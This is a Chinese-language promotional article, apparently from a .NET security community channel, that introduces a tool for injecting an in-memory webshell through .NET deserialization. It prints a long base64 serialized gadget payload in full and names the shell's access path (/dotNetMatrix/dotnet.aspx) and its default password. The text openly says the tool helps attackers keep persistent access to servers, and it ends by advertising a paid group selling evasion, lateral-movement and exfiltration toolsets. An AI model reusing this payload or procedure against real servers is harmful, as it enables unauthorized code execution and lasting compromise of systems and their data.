01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4MemorySkyPayload 是一款专门设计用于通过.NET反序列化注入内存马的工具。这款工具包含的负载通过利用.NET的反序列化机制,能够将一个内存马注入到目标系统的内存中。使用该工具后,攻击者可以通过一个虚拟路径访问服务器,获取Shell路径和服务器的基本信息。
03使用方法
Sharp4MemorySkyPayload 的使用非常简单,只需发送一段BASE64编码的反序列化负载即可,以下是其基本用法的示例。
AAEAAAD/AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAAGBwAAAPI6PFJlc291cmNlRGljdGlvbmFyeQp4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIgp4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIKeG1sbnM6cz0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiCnhtbG5zOnI9ImNsci1uYW1lc3BhY2U6U3lzdGVtLlJlZmxlY3Rpb247YXNzZW1ibHk9bXNjb3JsaWIiCnhtbG5zOmk9ImNsci1uYW1lc3BhY2U6U3lzdGVtLklPO2Fzc2VtYmx5PW1zY29ybGliIgp4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5JTy5Db21wcmVzc2lvbjthc3NlbWJseT1TeXN0ZW0iCj4KICAgPHM6QXJyYXkgeDpLZXk9ImRhdGEiIHg6RmFjdG9yeU1ldGhvZD0iczpDb252ZXJ0LkZyb21CYXNlNjRTdHJpbmciPgogICAgICA8eDpBcmd1bWVudHM+CiAgICAgICAgIDxzOlN0cmluZz5INHNJQUFBQUFBQUVBTzFaZVd3YzUzVi9jK3pCbGJnV1Nac1NaVXBlV1pLOWtXbHFTWkV1WlNlMkpCN2lTdVR5MkNVcFNyS3AzZVdJWEdsMlp6MHp5MHYxSWRTT3JjUkpIVlFJM0tEcEViUkYzUVNGNFJhTlVidEJYQVJKalVCQUVpQXRHalNJQThSSWdpQXhrUFJBa3NMcTc3MlpKWmNVcGZpZm9FRGhJZmQ5M3p1K2QzL2Z6T3dPbjM2Uk5DTFM4YmwrbmVnMThxNGo5SnV2cC9HSjN2VVBVZnE3dW10N1hsT0dydTNKekJlY1dObTI1dXhzTVpiUGxrcVdHOHNaTWJ0U2loVktzYjZSZEt4b3pScnQ5ZldSZmI2TzBYNmlJVVdqNXRpcjU2dDYzeVoxenhabEM5Rk9JRUdQOW1RUFFHelZzVzB5VnoyL2lkWkdjVXIxcGhvZGVaWkYrWDl0WEIzazJnZTlVMzdBZjZWdUV1UTVvcTN2SXhjM1hQQXZYSU9HZ1EvVzRPMnVzZVJpZkdhSEp5dXhickFQOHJsMjI3SHo1UHNHSHlYUTF2VnlJQjlwdHczVHl2dStudk4xeFc2UU83YlJ6WE05M2pnb1N3TDBJZ3B6dFlsSWVUOHhibkkxSlhUNmtpTHJHOVE0T2l0aVkxcU94T0YzSkJnUEFGb29hV1JMUE1UVE1JTTZnTzJmUUZXVXBsQkRxUG11ZzU5dENGa1I1cUFISWx2RE5hSmJxMVNySHFDK3JybXpOVnkza1I5bGNCc3Z0VnREVkc3U3cvWnVqQllzUkpvN2JnODMxK0JXQTBDVDNxRGJkNE1VYjJRczBCQ3dqd0R6cEpwOFVzaEJTb05Od1laZy9IYVEvTUd6ZlFmSE9jRFN6ZXRwZnc0YXRQMFQ2OTdPMUEzOHQ1a2g2STVWeGxvZ0xTenlxNXV0UlgrVjR6dFhSZTdjUkdRM2k3VGVVcVFuZklQWDFpNkFBMXpMQUozeFdnbTEzQTJpS2luUjdCZkR0ZG1SckQyQk11dXFlb21IRGRuemFoc0pjbVdEVWxoUFdIK0NOL0NCNEFIcEc1VmdnYytpQmkxK0YyUWlRU20wcDlHcmVZejl5cWthTjFPd1RkMStRSTN2QVVtejdyNFpZeTh6UGxsbDFHdnFKVGJwUUZ0d1ZXWWZ5eXhVWlVLYVUxL0wzYjlPd3hiN0trSjM3bUdpTDZFSHJIc1pqV3cvOERERTR1eXovb1RHa2ZseDdmQzJiWVBzQWZVU3M2d1BZZW9ja0RBUDhKNzVJV1FDbkdmblBzNlB6dm54cG9HMWFaQ25XcnlOelc1c0ZrbDMvSDdNMmg3U2JycGp0b1N3WTdUUVRYZE1KT2dWQ3pzTHhhcVRZbUhidG1PNC80UjZTZHl5RGdLN1I3MFVXRU9DOWgrRi9kMGpXMDRTdk5XVEQxZmxnMnZJZ2QwZWo4ZUFQd1lsWThmU0o0NHAvdW5EWjlsQ1YzdWkvVkRpVU1kaGtneVpmSTVoNmQ0bmliNkE4ZDk1bm5idFFtbk9ZWW5uY1ppOGdjRDJUcVNwcjlFNzYvY2VuMGoyWWN3QVB3TFZlNCtaVnM0L3I5QU95dFFkbjFQcStMejgxZjVEMU95ZGZTMWVQZVQyd3pxUVBEcm9INnNCZjlUOWorTGptbWlNK040SHlhREhnSDJNRmdIL1dPQmZDM3hBMmFzRWFWb1pBRFNVeHlENWFlVUZ6RjhXaXF0bTFDQmRGZmcxOVhYQWYxTlp6LytvSnVEdG1nbjVwTWFyVWhyVFg5Tlk1dzgxNW9aMDVyYnB6TzBST0tTelRFbm9mNk8vSUs1NS9ubFoza2JiSlNMR1ZHQWNkNTNNR1d1VHlEVm9ZT3hoWUEySXVCNzhON0ZPb1dzMThHK1ZZY0MzQkw0RE9CcGpLeC9kOFRvMWdkSjZkeFhiQ2V6M0JQc0tmUWM4alo0WDdESzlneHVXUnE4SzlsWDZCVENkdnU1ajd3RUwwQTk4TEtyc1J6emh2UjdXck54SElickh4MHBLQjA3R0U0SjlOSHhaZVlpMjBQRGVOZXRiNkp3ditWbmxFY1R5ekNwdkVOaWlQSmg4TmZ5R01rWlJlc3JIdmkzWWN6NzJFOEU0Zzl0VXJ2eWQzRVIwYnczY3R1bGNwVU1xZDhuSkdzcWR2c3dZdlk2emRwbzRXM1VDcy9RTjlSd1Y2UHVxZ2ZuUDFZdjBPSVcxeHdGajJnSXRVNXQyaWE3UWhQWVU0S09ZTDVNaGxHWHRXY0RMMnNjQVg5QStDZmdIUXZrVG1iK3NYUVY4UmZzTWZZcStydjBwdFAySDlwZjBoNlRvZzhMOVBDZ3QrcXYwWjdSUC95SzlqTDMyaHREZnhQeXMvcytRdktBM29Rdll3emZwc3Y0OWNIOWZqNEh5a3Y0alFLNWFnMVNyUWFyVUlOWDVFSEYyRzZRMkxUTFAwbC9vUDZXM01QOEZKVVhiSHFGZm9kZjE5d0RmMG5VbFNmK3ExeW50cU5oMndDYUtLZGZRTVQrZ1gwS3pqcXdGWk5kOVR1RzkvWi9LSk9CN0FpUHFKRGdSWkZwRm5WanFOdlFIZDNBZDZVOXZmR0o1dGVZcDB0c1hFekxXMGlKeTdwQm8xT1U1U1I3VlBqeHN6VlpNNDJGeUZ1YXpIWW5PWXZ1c2FWSS9wYlBGc21tTVp0MzVVZHRhS013YXRrK2FMTmh1SldzT0ZFeGpQYVd2WUJ0NTE3S1hxZWprTGRzczVDaTk3TGhHa1VaeUY4RHhzZllwSTFjemJSKzBIQmNuSC9sYTFsbXN0WFdEbFhZZWFHWmhsVTR6NXlIWWE1VmNvK1JTc2xSd0MxbXpzR0pRMG1HdHZnSmliZjFMQmNkMWFGV1pqeDgzWExHRmNjMU9qYSs5MmZ3OCs4cWowV2VVamRLc1VjcXZpdlJhcG9sRkJhdmtVTEsvVkNrYWRqWUhkWDFaMThnVWlxSjM0OUk1dzUzeHJmdGFraU9FbTRHUlJkNGdSVDd6cUcxbmw0Y3dKYmhnenRyZzhOTGVLakxyKzFzd0hHSDAxZUNjRm84NklMUFZSYlZDSHFzbW03WEpYRmdyVHUxOE5RNVdVSEh6YVRkcnI5WjV2Rkp5RVRTeVVpeERsWjAyN0lWQ25zMExJY3Q1R2pmTTdKTE1uS011N29DNWltdVF2NURGd01vVnpJSzd2TWF0OW1uVlRJWmZRdnBMZVd1V0s4TkJUbVFHZW1Da3RHREFtUUhiS2g3TE9zWURYZDRkbG12Z3p3WmR0eXdCUW9Ia3NtTGJIQ3pUeDQzSEs0YmowV3Zudmt6L2twR3ZzTnVjTmNsSzczeldKbDl4eGk0VSswdXpsTEdHckVXME1TODhXaTZiaGJ5RUt2Sko1RzFwNUx6d2hvelNIRWpqUnRGYU1HZ282N2hWYnJxU2N6eWRjQlNySVZNMnMzbUQvRjNUWDBJMXJGS1IzUjQzNXRBZWhyM1pSdkpDY3NySXMrSEg1Q05UZGdGSlpUN1h4N0FuWE1tM0NIa1VHczZXeGVWYVk1T0c3U0FVRWF2TzBhNTJscjN5dHozelJ0SlZMaWVreHJXcW5ZeUZ6SEFidUFYRXp1WElGa3BlczQ3YXhrTEJxc2kyUExic29uT0drU0Y3MmQ4ZFZua21XVUpwc3FJbjZhUXFwamxpOXhmTHdJN096dUpzZTY1bGxIcHBrbzdpZUI3QWUrTThuYVpPSEkyb0VCMEhwUUw4RVBoVittSElYYVJodW9DeGdGVW1qVUxXb2g0NkFlNHh3Qnlkd3JoQWVTclJtT2dwUW8rTDlhY29oUWVqYWJ5SXAyUmRHdElaUEQ0eFBRSCtGR0FGV29xd1Y0U2U0eGd2MEN4R0UvcHlzSmY4TGRoTFEwOFBkRE92aTA0UzUyTUNZeExqVWVoTDRuWTF6cmRkU0I2ajN3RzE0Tk43MTQxNTVJbmxzdERiRFYrUzhOdUZYVjUzVlBMV2kwODNjdGNIUFFYNHRZSlZYZkJsQ240ZndwaUIzUlh3VjZDckE3SVh5Rm5ueDlySTZ6bU9jZWlmZ213QzlDeHNlM2I2a2JjSzlIY0N1N2pxenhEbUxIOWE4dE9CdkEzQ2JnVzBUc2duTUMrQm01QzhEU1BEV2FGM3c0UE1MZnpJK0hsZUVUdUhvWS90RE9Cekd2dzUrSm1ISGhkNnVGOFd4Yy8zcDNjVy9wMkFSOU1TWVZycTVlazlCUmt2M3p5T1NsMHFRczhEbi9EcjRNbTdmajl4LzNJL0xjUGlnT2pOUTM1U3hrT1NoN1RrYVJGMk9hL3I3U2VvVENQZ1dadlVuZnVEK3lrUE82YjRzUXgvSEQvdkp2aDlVaC9QMzBxTlAvMjBCTDA1NEJQUWZPdDhsQ0hQZldjQlAzV0R2VzU0bWdldFcrcDZISHBIZ1YrRUhkd0xwWDg1MzhkcjdKV0JqOTAwbnB2NVVUdE9yL1lMVzVtVmZoOWVyVWNmN0hUQ2FxZlU1UVRraHFSMnkwTHZnSTVwaWNQRTUwSk52ajMvOHZBc0ovdWU0MHRqNWMzMzNkcllqOHF1U0wreFI5UFFzd1FQMk80U3pvZHAyV2VXNkorVVdnekFkcmUvYjAzUTA4QXkwamNwZU9qbE55SDd0eHZ4N
通过.NET反序列化漏洞,Sharp4MemorySkyPayload能够将内存马注入到目标系统的内存中,注入成功后,将返回当前的Shell路径以及服务器的基本信息。
接着,可以通过访问路径 /dotNetMatrix/dotnet.aspx 获取内存马的执行结果,如果返回空白和状态码200,表示注入成功。随后,使用天蝎客户端连接Shell,密码默认设置为 sky,如下图所示。
04基础功能
Sharp4MemorySkyPayload 目前支持多种反序列化格式,这些格式通常存在于.NET框架的序列化和反序列化过程:
BinaryFormatter:.NET框架中最常见的二进制序列化器,用于将对象序列化为二进制流; LosFormatter:一种更灵活的序列化器,主要用于将复杂对象转换为二进制数据;NetDataContractSerializer:在WCF(Windows Communication Foundation)服务中常用的序列化器,允许对对象进行跨应用程序域的序列化和反序列化;SoapFormatter:用于将对象序列化为SOAP格式,主要用于跨平台数据交换。
计划在后续版本中添加对ViewState反序列化的支持。ViewState是.NET中用于保持页面状态的一种机制,通过ViewState反序列化攻击,可能会进一步利用这个工具在Web应用程序中注入内存马。
综上,Sharp4MemorySkyPayload 提供了一种强大的工具,通过.NET反序列化漏洞注入内存马,从而帮助攻击者在目标服务器上获得持久性访问权限。工具已经打包在星球,感兴趣的朋友可以加入自取。
05推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
06欢迎加入.NET安全星球
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。 星球门票后期价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好!
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。
为了助力大家在2024国家级hvv演练中脱颖而出,我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。
.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输
这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器。